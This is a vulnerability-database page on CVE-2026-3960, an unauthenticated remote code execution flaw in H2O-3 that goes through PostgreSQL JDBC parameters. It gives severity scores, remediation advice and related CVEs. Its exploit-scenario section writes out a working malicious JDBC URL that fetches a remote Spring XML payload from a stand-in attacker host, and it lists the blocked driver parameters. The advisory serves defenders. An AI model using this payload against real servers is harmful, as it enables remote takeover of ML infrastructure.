Skip to main content

H2O-3 CVE-2026-3960

| EUVDEUVD-2026-25205 CRITICAL
Code Injection (CWE-94)
2026-04-23 @huntr_ai GHSA-qmcv-hh7c-3m56
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify exposed H2O-3 REST API
  2. Delivery
    Host malicious Spring XML payload
  3. Exploit
    POST crafted jdbc:postgresql URL to /99/ImportSQLTable
  4. Execution
    PostgreSQL driver instantiates socketFactory class
  5. Persist
    Remote XML loaded and beans executed in H2O-3 JVM
  6. Impact
    Run arbitrary code as H2O-3 process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker needs network reachability to the H2O-3 REST API endpoint /99/ImportSQLTable on a server running H2O-3 3.46.0.9 or earlier; no authentication, user interaction, or non-default configuration is required because the vulnerable endpoint and its weak JDBC parameter blacklist are present in default installations (consistent with the AV:N/AC:L/PR:N/UI:N vector). Practical exploitation also requires the H2O-3 host to be able to outbound-fetch the attacker-supplied payload referenced via socketFactoryArg (for example an HTTP-hosted Spring XML file), and the PostgreSQL JDBC driver classes must be present on the H2O-3 classpath (they ship with H2O-3's SQL import functionality). Risk is meaningfully limited where the REST API is bound to localhost, fronted by an authenticating proxy, or otherwise unreachable from untrusted networks, and where the H2O-3 host cannot make outbound connections to attacker infrastructure.

Impact

The CVSS 9.8 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and the description agree that the vulnerable endpoint is reachable over the network without authentication, so the exposure model is consistent across sources. CISA SSVC, however, rates Technical Impact as 'partial' rather than 'total' and Automatable as 'no', which tempers the headline CVSS by indicating that while code execution is achievable, it does not necessarily yield full system control and is not trivially mass-scannable. EPSS is low at 0.19% (41st percentile) and the CVE is not in CISA KEV, so there is no public evidence of widespread exploitation; SSVC exploitation status is 'poc', aligning with the huntr.com bounty report (publicly available exploit code exists in the form of the huntr write-up and test cases in the patch). The realistic risk is high for any H2O-3 deployment whose REST API is exposed to untrusted networks - a common pattern for ML platforms used by data scientists on internal networks - but lower for instances behind strict network segmentation. There are no apparent conflicts between sources beyond the CVSS-vs-SSVC severity nuance.

Exploit ScenarioDerived

An attacker who can reach an exposed H2O-3 cluster sends an unauthenticated POST to /99/ImportSQLTable with a JDBC URL such as jdbc:postgresql://attacker:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://attacker/evil.xml. The PostgreSQL JDBC driver instantiates the attacker-supplied class with the attacker-controlled argument, loading a remote Spring XML bean definition that runs arbitrary Java code inside the H2O-3 JVM and yielding code execution as the H2O-3 process user; publicly available exploit code exists via the huntr.com bounty write-up.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 19, 2026

Remote code execution in H2O-3 versions 3.46.0.9 and earlier allows unauthenticated attackers to execute arbitrary code via the /99/ImportSQLTable REST API by abusing PostgreSQL JDBC driver parameters that bypass an incomplete MySQL-only parameter blacklist. No active exploitation is recorded in CISA KEV and EPSS is low (0.19%), but a vendor patch is available and SSVC marks exploitation status as POC, indicating proof-of-concept-grade attacker capability against a network-reachable endpoint.

Earlier versions of this analysis (1)
v1 Apr 23, 2026 - 10:31 CVSS 5.9

Remote code execution in H2O-3 versions 3.46.0.9 and prior allows unauthenticated attackers to execute arbitrary code via the /99/ImportSQLTable REST API endpoint by bypassing the MySQL-specific JDBC parameter blacklist and supplying PostgreSQL driver parameters (socketFactory, socketFactoryArg) with a jdbc:postgresql: URL. The vulnerability exploits insufficient validation of JDBC connection parameters, enabling attackers to instantiate arbitrary classes and achieve code execution with the privileges of the H2O-3 process. Patch available in version 3.46.0.10; no active exploitation has been publicly confirmed at time of analysis.

RemediationAI

Vendor-released patch: H2O-3 3.46.0.10, which extends the SQLManager JDBC parameter blacklist to cover PostgreSQL-driver options (socketFactory, socketFactoryArg, sslfactory, sslfactoryarg, statementInterceptors, loggerLevel, loggerFile) per commit b9ae2d3c5220db2dc53753357a783e590364d044 - upgrade all H2O-3 nodes to 3.46.0.10 or later as the primary fix. Until upgrade, restrict network access to the H2O-3 REST API (default port 54321) so that only trusted clients can reach /99/ImportSQLTable, for example by binding the service to localhost or placing it behind an authenticating reverse proxy or VPN; the trade-off is that legitimate remote data-science clients will lose direct access and must route through the proxy. As an additional compensating control, block outbound network connections from the H2O-3 host to untrusted destinations to hinder the second-stage fetch of malicious XML/class payloads referenced by socketFactoryArg or loggerFile, accepting that this may break legitimate JDBC connectivity to remote databases. Advisory and patch details: https://huntr.com/bounties/6954fe04-b905-453f-8c53-205ac8377e0d and https://github.com/h2oai/h2o-3/commit/b9ae2d3c5220db2dc53753357a783e590364d044.

Affected VersionsENISA

h2oai/h2o-3 unspecified <3.46.0.10

Affected Packages

maven ai.h2o:h2o-core fix: 3.46.0.10
pypi h2o fix: 3.46.0.10
euvd h2oai_h2o_3_unspecified fix: 3.46.0.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in maven, pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

H2O-3 is an open-source distributed machine learning platform from H2O.ai (CPE cpe:2.3:a:h2oai:h2oai/h2o-3) that exposes a REST API including /99/ImportSQLTable, which accepts JDBC connection URLs and uses water.jdbc.SQLManager to validate them. The root cause is CWE-94 (Code Injection): SQLManager.validateJdbcUrl maintained a denylist of dangerous JDBC parameters that only enumerated MySQL-specific options (autoDeserialize, queryInterceptors, allowLoadLocalInfile, etc.), so an attacker who switches the URL scheme from jdbc:mysql: to jdbc:postgresql: can supply PostgreSQL-driver-specific parameters such as socketFactory and socketFactoryArg, which the PostgreSQL JDBC driver instantiates as arbitrary Java classes (for example org.springframework.context.support.ClassPathXmlApplicationContext loading a remote XML bean definition), yielding code execution inside the H2O-3 JVM. The fix commit b9ae2d3c5220db2dc53753357a783e590364d044 extends the blacklist to include socketFactory, socketFactoryArg, sslfactory, sslfactoryarg, statementInterceptors, loggerLevel, and loggerFile.

Know when PostgreSQL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

6
Analysis Updated
May 19, 2026 - 22:13 vuln.today
v2 - CVSS changed
Severity Changed
May 19, 2026 - 22:07 NVD
MEDIUM CRITICAL
CVSS changed
May 19, 2026 - 22:07 NVD
5.9 (MEDIUM) 9.8 (CRITICAL)
Patch released
Apr 24, 2026 - 14:50 nvd
Patch available
Patch available
Apr 23, 2026 - 11:01 EUVD
CVE Published
Apr 23, 2026 - 08:47 nvd
MEDIUM 5.9

DescriptionNVD

A critical remote code execution vulnerability exists in the unauthenticated REST API endpoint /99/ImportSQLTable in H2O-3 version 3.46.0.9 and prior. The vulnerability arises due to insufficient security controls in the parameter blacklist mechanism, which only targets MySQL JDBC driver-specific dangerous parameters. An attacker can bypass these controls by switching the JDBC URL protocol to jdbc:postgresql: and exploiting PostgreSQL JDBC driver-specific parameters such as socketFactory and socketFactoryArg. This allows unauthenticated attackers to execute arbitrary code on the H2O-3 server with the privileges of the H2O-3 process. The issue is resolved in version 3.46.0.10.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 20 maven packages depend on ai.h2o:h2o-core (20 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.46.0.10.

Executive ViewAI

Why It Matters

H2O-3 machine learning platform versions through 3.46.0.9 are vulnerable to unauthenticated remote code execution through a REST API endpoint, putting any organization running this software with network access at risk of system compromise. Attack code is publicly available despite low real-world exploitation to date, making the remediation window narrow before opportunistic actors begin targeting deployments. Immediate patching is critical to prevent attackers from gaining control of your machine learning infrastructure.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 59% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2026-9586 CRITICAL POC
9.3 Jul 17

Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy